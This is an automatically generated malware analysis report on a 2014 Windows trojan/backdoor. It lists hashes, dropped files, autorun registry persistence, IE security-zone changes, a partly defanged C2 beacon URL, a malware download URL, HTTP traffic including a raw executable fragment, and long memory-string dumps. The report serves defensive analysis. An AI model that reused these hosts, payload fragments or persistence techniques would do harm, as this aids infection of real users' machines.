Trojan.GenericKD.1835038_f5858061f3

by malwarelabrobot on September 15th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.GenericKD.1835038 (B) (Emsisoft), Trojan.GenericKD.1835038 (AdAware), Backdoor.Win32.PcClient.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: f5858061f3e2d2530a1a74499adaa5e7
SHA1: 39551edb0861e46d8288eb09607deba1afbe04d0
SHA256: f70e0294b334d1e121b00277bc4d6cd87389dbb18c242e216ec2eacd737492ba
SSDeep: 3072:aOhZMvxpHoE/of6KLY83/cUrUdHAsGFMVbBu VmpOSoGeaq/KUj9OHS9YpR2UZ1b:9emE/s9MG5UdneEm00Bm S9OnRysxf6i
Size: 248424 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2014-08-28 11:23:09
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

imapi.exe:1780
attrib.exe:1696
attrib.exe:1644
1264500.exe:876
1264500.exe:148
%original file name%.exe:1848

The Trojan injects its code into the following process(es):

rundll32.exe:832
explorer.exe:1492

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process imapi.exe:1780 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%WinDir%\Temp\yz10e3jc.TMP (146970 bytes)

The process 1264500.exe:876 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%System%\dnsaoice.exe (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1276437.bat (72 bytes)

The process %original file name%.exe:1848 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\1227937.bat (72 bytes)
%System%\raspprov.exe (1281 bytes)

Registry activity

The process rundll32.exe:832 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "64 5E BC 1F 02 B7 CF 57 3E CF 1A 37 A7 9D 7A 09"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\AppDataLow\C206B37A-3997-4457-D316-7DB8B7AA016C]
"client" = "00 00 00 00 1C 00 00 00 E3 E4 06 A6 39 97 44 57"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The process attrib.exe:1696 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "23 C1 21 AC CA D1 B7 00 90 84 BD E2 ED 45 E1 4A"

The process attrib.exe:1644 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 2F CF 7F 07 5F 31 4A A7 4D 70 A4 D1 BA C9 EB"

The process 1264500.exe:876 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CE 25 3C 2C 58 1E FA 66 EE 57 A1 8F 48 BE 5C DB"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\C206B37A-3997-4457-D316-7DB8B7AA016C]
"Install" = "89 9D 26 8F A3 4D A9 93 17 3E D5 28 8E E0 0C 5E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"1276437.bat" = "1276437"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"bidiript" = "%System%\dnsaoice.exe"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 1264500.exe:148 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6F B7 1F A9 DE 61 AE 53 FA B8 97 B4 E0 01 52 18"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

The process %original file name%.exe:1848 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 BD 83 23 5E 12 DC F1 3D 4E C2 BF 7A 91 5C E5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"1227937.bat" = "1227937"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"dcomycfg" = "%System%\raspprov.exe"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Dropped PE files

MD5 File path
cc866cddcbe983c8392324e63f9499f9 c:\WINDOWS\system32\dnsaoice.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: NETCAFE.24H.COM.VN
Product Name: IPEP3M
Product Version: 8.0.7.0
Legal Copyright: Copyright 1973 - 2002
Legal Trademarks:
Original Filename: B7746x.exe
Internal Name: B7746x.exe
File Version: 8.0.7.0
File Description: e429k9D364q
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 55084 57344 4.32721 0caf02c78ad17602ff7176a5ba864880
.rdata 61440 8200 12288 2.83001 98dd55ef5dd6e41689bf1a3ccf238028
.data 73728 971736 4096 0.989272 dea5063c692170aa8e1a379902787907
.rsrc 1048576 1592 4096 1.04216 b0bf05f532001d022d1daae86201da49

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://roshallicensedistributed.ru/tljjceq.php?uknd=kaiu9yyz88ECGc9uqj5WFa9lI9V7ZUkX7TsRl5mBaXiPW AG1qBuHAfTGzvjE8JTOc2xKFyk7RXCpJRz6CgBOOlzaWvQHR97CninyM2ZmEksH10WX80PUWGprGGZGkcMnRPPLchL/ktTwmaYs tFo == 91.218.228.102
hxxp://libraionet.it/public/tutorial/inter.exe 62.149.128.154
hxxp://www.libraionet.it/public/tutorial/inter.exe 62.149.132.198


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected

Traffic

GET /public/tutorial/inter.exe HTTP/1.1
Connection: Keep-Alive
Cache-Control: no-cache
Host: VVV.libraionet.it


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Sat, 13 Sep 2014 16:40:46 GMT
Accept-Ranges: bytes
ETag: "07b7d7771cfcf1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sun, 14 Sep 2014 11:19:33 GMT
Content-Length: 247296
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...4s.T
................................. ........@.. ....................... 
[email protected].......(...........
................................................................. ....
........... ..H............text.s.4.... ...................... ..`.rsr
c..w(...........................@[email protected]............................
[email protected]...................$... W...m..........
................................6.(.....(....*z.,..{....,..{....o.....
.(....*z.s....}......(.....r...po....*6.(.....(....*z.,..{....,..{....
o......(....*z.s....}......(.....r...po....*6.(.....(....*z.,..{....,.
.{....o......(....*z.s....}......(.....r...po....*6.(.....(....*z.,..{
....,..{....o......(....*z.s....}......(.....r)..po....*6.(.....(....*
z.,..{....,..{....o......(....*z.s....}......(.....r5..po....*6.(.....
(....*z.,..{....,..{....o......(....*z.s....}......(.....rA..po....*6.
(.....(....*z.,..{....,..{....o......(....*z.s....}......(.....rM..po.
...*6.(.....(....*z.,..{....,..{....o......(....*z.s....}......(.....r
Y..po....*6.(.....(....*z.,..{....,..{....o......(....*z.s....}......(
.....re..po....*6.(.....(....*z.,..{....,..{....o......(....*z.s....}.
.....(.....rq..po....*6.(.....(!...*z.,..{....,..{....o......(....*z.s
....}......(.....r}..po....*z~....~.....is.... .....@("...*..0..H.....
..~.....i(#.....(....~......~.....i(....(..........(....(....t....
<<< skipped >>>


GET /public/tutorial/inter.exe HTTP/1.1
Host: libraionet.it
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 301 Moved Permanently
Date: Sun, 14 Sep 2014 11:19:32 GMT
Server: Apache
Location: hXXp://VVV.libraionet.it/public/tutorial/inter.exe
Content-Length: 258
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://VVV.libraionet.it/public/tutorial
/inter.exe">here</a>.</p>.</body></html>...



GET /tljjceq.php?uknd=kaiu9yyz88ECGc9uqj5WFa9lI9V7ZUkX7TsRl5mBaXiPW AG1qBuHAfTGzvjE8JTOc2xKFyk7RXCpJRz6CgBOOlzaWvQHR97CninyM2ZmEksH10WX80PUWGprGGZGkcMnRPPLchL/ktTwmaYs tFo == HTTP/1.1
Host: roshallicensedistributed.ru
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 14 Sep 2014 11:19:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 141
Connection: keep-alive
Keep-Alive: timeout=60
X-Powered-By: PHP/5.4.4-14 deb7u14
Vary: Accept-Encoding
.....}...(..z.q!=I}.&Mf..m.2dqq..OW...H...../D...=......~p..om........
..=xwj...]............zj).J|u..2...c.K....i~.X.......rH....;..T.tP...?
.HTTP/1.1 200 OK..Server: nginx..Date: Sun, 14 Sep 2014 11:19:33 GMT..
Content-Type: text/html; charset=utf-8..Content-Length: 141..Connectio
n: keep-alive..Keep-Alive: timeout=60..X-Powered-By: PHP/5.4.4-14 deb7
u14..Vary: Accept-Encoding.......}...(..z.q!=I}.&Mf..m.2dqq..OW...H...
../D...=......~p..om..........=xwj...]............zj).J|u..2...c.K....
i~.X.......rH....;..T.tP...?...

The Trojan connects to the servers at the folowing location(s):

explorer.exe_1492:

.text
`.data
.rsrc
@.reloc
ADVAPI32.dll
BROWSEUI.dll
GDI32.dll
KERNEL32.dll
NTDLL.DLL
msvcrt.dll
ole32.dll
OLEAUT32.dll
SHDOCVW.dll
SHELL32.dll
SHLWAPI.dll
USER32.dll
UxTheme.dll
FTSSh
t0SSh
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system
SShwk
98~%SP
ExplorerStartMsgLoop
PSSh;
6SSSSh
SSSSh
SPSSSShL
u%SSh
t.WWWW
xpsp2res.dll
xpsp3res.dll
tbSSh
Software\Microsoft\Windows\CurrentVersion\Explorer\StartMenu\StartMenu
Software\Microsoft\Windows\CurrentVersion\Explorer\StartMenu\StartPanel
kernel32.dll
GetSystemWindowsDirectoryW
NetGetJoinInformation
WINMM.dll
SETUPAPI.dll
WINSTA.dll
OLEACC.dll
USERENV.dll
ntdll.dll
RegEnumKeyExW
RegNotifyChangeKeyValue
RegOpenKeyExA
RegEnumKeyW
RegCloseKey
RegCreateKeyW
RegQueryInfoKeyW
RegOpenKeyExW
RegCreateKeyExW
OffsetViewportOrgEx
GetViewportOrgEx
SetViewportOrgEx
SetProcessShutdownParameters
GetProcessHeap
GetWindowsDirectoryW
CreateIoCompletionPort
ShellExecuteExW
SHRegCloseUSKey
SHRegCreateUSKeyW
AssocQueryKeyW
SHRegOpenUSKeyW
SHDeleteKeyW
TileWindows
ExitWindowsEx
RegisterHotKey
UnregisterHotKey
EnumChildWindows
GetKeyState
GetAsyncKeyState
CascadeWindows
MsgWaitForMultipleObjects
EnumWindows
explorer.pdb
name="Microsoft.Windows.Shell.explorer"
version="5.1.0.0"
<description>Windows Shell</description>
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
]]"```^]]\
3333333330
3333330
333333334
)@.   '5 !*
.DEHHF>?/
2<===@@=
&$%Uooqkezs
['$$#%&(4
3333333333333333333
33333333333330
7'''')) 
3'')))33.
222`444(555
%%%{///-
000000000
00000000
`[66...00
0000000
`]66./.000
/./././././././.
66///0000
0000000000000
0000000000
6666,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,0.010.010.010.010.010.010.010.010.010.010.001
4366666666K,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6.010.010.010.010.010.010.010.010.010.010.000
:;<;:;<;:;<;:;<;:;<0
)   )   )   )   )
|2222'2'2'2'2'2'2'2'2'2'2'2'2'2'2'2',),),),),),),),),),),),),),),),),),),),),),, 
22222222222
3333333
.SB99;;;99twv}ut{oxt~
.SB;;;:::2:w}{{qddgghg
" """ """ """ """ "" #
""" """ """ "#
.SG>''';;9::p
:5:5:5:5:5:5:5:5:5:5#"
# # # # # # # # # # # # # # # # # # # # # ##$
( # # # # # # # # # # # # # # # # # # # # ###
1232123212321232123
(&(((&(((&(((&(((&((&&)
&(((&(((&(((&()
`,''')))
'4,4'4,4'4,4'4,4'4,4)(
55///0000
5555-5-5-5-5-5-5-5-5-5-5-5-5-5-5-5-0
555555555
55555555
5555555
14441444144414441
4343434343434343
5555555555555
5555555555
-,-,-,-,-,-,-,-,-,-,-*.
..............................JFJFJFJFJFJFJFJFJFJFJ.-
{22*2*2*2*2*2*2*2*2*2*2*2*2*2*2*2*.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-../
|ujjjjuhF..BBBBBBBBBBBBT
~j|F.BB*BBB*BBB*Bwop
&!!!&!!!&
44466666
44444444416
4446666
66666666
|= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= 
|= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= |= 
DDDDE%CTDD@
A%US$
%UUUU
%%UUU
33U
""2222!!
!"!"%UUR""
!""!"#2"""
"!!"#3"!"
dnnnnn:n.nfCnmddddd
////;/;;88
;888;;!/
!//!!;;^
:;:!::!!!
.88.88.8
.N.NN.M
::8.8...
:::!;;:!
//!!;888
.8.8.88...
:;!::!!;!//!;
!!;:!!::
.88..8..
!!:::/^!
!;/;!;;;!!!:
.8:!!!!^
!!:;:::..
/:!^^!;{8{../
...:::.-
**6***66*6**6566*5666 ,
6*6666*6*6 655*65
6*65 56*5 55  555 *5  6
555( 55 (5 5(  
76 5   66  555*677
6*6 5 5(5 (55( '5((5 (556 ('5
665**6(('S((((((S(((]('((@('SS((S(((((((6C-.NEC66S5sU
555(555(5((5(5(5(
5 5 5 5555 (555(555'(((5(5('55(((
((''('5'5(5('('('('('((''('(((@(((('&(((&
%&&%&&&&3>&3&3&33&3&3333&&3>3333
'(3&'&3&
3&33&&((
3323>33>%>3%>3>33>3%3&%
*5'(('((&@3(
,63%3>323>3%>&>33323>>%>
3(3'(((@@'5('@(@(&('(
>2>323%>3
75((((@3&333&3&&&%&3&&3&33>33%3>23%>3
>2%$32%>2>%>2$3>
3&%&&3&33>3>33
3>%>3%&3$23>23$2>2%$>2>
)4433((&(&('*
('((((''(**6(('' *
32323>3>
2$%>22%>%3' (
&(&''((5(5 *
'(&(&((&('''
&&%&3&&%3%
2%>22>22
5''3(((3(('&(&'&
3%%3%3%2#$
22$22$2%$22$2%2%$2%$2$222%$22
&>2$2$2$222$22$%%
:7'((('(3('(3(&(&
222222222222
22222222222222
222222222222222
22$22$22$22$
&(%3%&&&&3&&&3%3
222222222222222222
&&(&3(&(&'('((3'(&&
2222222
22$<$$2$22$%
&&(3(3('(&'
222"2212
22<2<22"
(&(3(3((
((565 ((( 6
333&33(&&
'(('('(('( 
 '&%%"$
2"2"22"2
2222<2"222
"2"22<2<22
2%('(3'32222?&'
2"2"2"121212<
2"2"2$"?
%%22%2
&3(3(3((&
"2"<"2<2<
<2<"<"<"<
1"?((&21
<?<?22<$2
2%""22&&
2<2$$2222
'&('(3(''
((%%%"
5(3%"%
"2%5*67
))) ))))
""**<****"""
"*<<<<*"
#2#---2222-222442-
--&#-(-%
$/222(--444222!
#&-221269924999;
&$-22-($2%
#(2---222622212-
#2221299629968
#&--%#(2##!
-222422422426662-%
"2-##&
!##-#&#-&&#%---#---#&-219662%
$&-(151,44.9
&1242662-
-(..19.19
,4492.12
12-$-,-,
-, $$----
#%#-15/-&
-,(,,(,(,
$$11651566/,$&&
,2592&&&-
2466/!$$
""*<*"****""
) '????[
&&&$-556>>61,,5994511-
$(//$$$(6>6/,$,-$
#$-22692/,,$,-&
-266661..4514#
&,2-&&##
&-222,22--#
#&&---2-,-&$&(,,291.566..BNNNTNNNNNAABIAA88
&!#&!-##
&#--//11468>885882&
$266961$&--$&%
,1661,!-((#
&$,4255$,92
&$,44..&
""**""***""
"****<*<<**"
"**""""*""""
&-569./-,16522$
.BAA=86546888=AAAEAAEMNRMQQSWZZ\]gk__m__\
bTRHHHHHQQHQJQWJSSSSSSSSSSSSSSSSWWSSSS\\V]VZW8,.FW]\\]\]\]\\ZZ\\WFR>38(
.BTTkgn]ktvgmvvvvvmvvvsvzzzyzyzyzyyyzmkkkkkZSRA816;F87
yzyzyzym^Z]WN3   $&$.Wt\
""*"""****""""
"***"**""**<**"
$5612,.2,
&$$,,,5]
$]t.Ft
7%8U8
3 303<3]3
2<3
8 8$8(8,8084888<8}8
5%5,575{6
<,<0<4<8<
7 7$7(7,70747
rundll32.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
::{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}
::{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0}
::{2559a1f3-21d7-11d4-bdaf-00c04f60b9f0}
::{2559a1f0-21d7-11d4-bdaf-00c04f60b9f0}
::{2559a1f1-21d7-11d4-bdaf-00c04f60b9f0}
::{D20EA4E1-3957-11d2-A40B-0C5020524153}
::{2559a1f7-21d7-11d4-bdaf-00c04f60b9f0}
{208D2C60-3AEA-1069-A2D7-08002B30309D}
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Favorites
{450D8FBA-AD25-11D0-98A8-0800361B1103}
CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}
Software\Microsoft\Windows\CurrentVersion\RunOnce
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
Software\Microsoft\Windows\CurrentVersion\Explorer\DontShowMeThisDialogAgain
Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\CleanupWiz
\\.\WMIDataDevice
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Software\Microsoft\Windows NT\CurrentVersion\Windows
ExplorerIsShellMutex
desk.cpl
Software\Microsoft\Windows\CurrentVersion\Explorer
tourstart.exe
tourstart.exe,0
Microsoft.OfferTour
WINWORD.EXE
Software\Microsoft\Windows\CurrentVersion\Applets
Software\Microsoft\Windows\CurrentVersion\Applets\Tour
explorer.exe,9
Microsoft.FixScreenResolution
shell:::{2559a1f4-21d7-11d4-bdaf-00c04f60b9f0}
Software\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation
Software\Microsoft\Windows NT\CurrentVersion
shell:::{2559a1f5-21d7-11d4-bdaf-00c04f60b9f0}
Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
DDEEXECUTESHORTCIRCUIT
http\shell
IEXPLORE.EXE
Software\Microsoft\Windows\CurrentVersion\Explorer\Streams\Desktop
Software\Microsoft\Windows\CurrentVersion\RunOnceEx
comctl32.dll
Software\Microsoft\Windows\Internet Settings
AutoConfigURL
system.ini
AppEvents\Schemes\Apps\.Default\%s\.current
Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify
MSShellRunDlgReady
res://mys.dll/mys.hta /explorer
mshta.exe
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Setup\Welcome
Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
SOFTWARE\Policies\Microsoft\Windows NT\CurrentVersion\MYS
cys.exe
SOFTWARE\Microsoft\Windows NT\CurrentVersion\srvWiz
install.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel
OUTLOOK.EXE
explorer.exe,16
iernonce.dll
WININET.DLL
UpdateURL
WindowsUpdate
HWND%x
Software\Microsoft\Windows\CurrentVersion\OemStartMenuData
fldrclnr.dll,Wizard_RunDLL
iexplore.exe
winbrand.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\Remote\%d
shell32.dll
nusrmgr.cpl ,initialTask=ChangePicture
NewExeName
Windows
ediskeer.dll
timedate.cpl
Software\Microsoft\Windows\CurrentVersion\Explorer\Comdlg32\LastVisitedMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\Comdlg32\OpenSaveMRU
Software\Microsoft\Windows\CurrentVersion\Explorer\Doc Find Spec MRU
Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
Software\Microsoft\Internet Explorer\TypedURLs
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\Calculator.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Games\Solitaire.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\Paint.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\WordPad.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\System Tools\Files and Settings Transfer Wizard.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\Windows Movie Maker.lnk
%USERPROFILE%\Start Menu\Programs\Accessories\Tour Windows XP.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Windows Messenger.lnk
%USERPROFILE%\Start Menu\Programs\Windows Media Player.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\MSN.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Get Online with MSN.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Get Going with Tablet PC.lnk
%ALLUSERSPROFILE%\Start Menu\Set Program Access and Defaults.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Windows Journal.lnk
%ALLUSERSPROFILE%\Start Menu\Programs\Accessories\Media Center\Media Center.lnk
%USERPROFILE%\Start Menu\Programs\Internet Explorer.lnk
Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
TSAppCMP.DLL
netapi32.dll
%SystemRoot%\system32\restore\rstrui.exe
RunDLL32.EXE Shell32.DLL,ShellExec_RunDLL ?0x%X?%s
RunDLL32.EXE
%s%d%s
Software\Microsoft\Windows\CurrentVersion\Policies\System
settings.dll
explorer.exe "
explorer.exe /e, "
WindowsLogon
WindowsLogoff
%s %s
Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count
uAppWiz.Cpl
\explorer.exe
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu
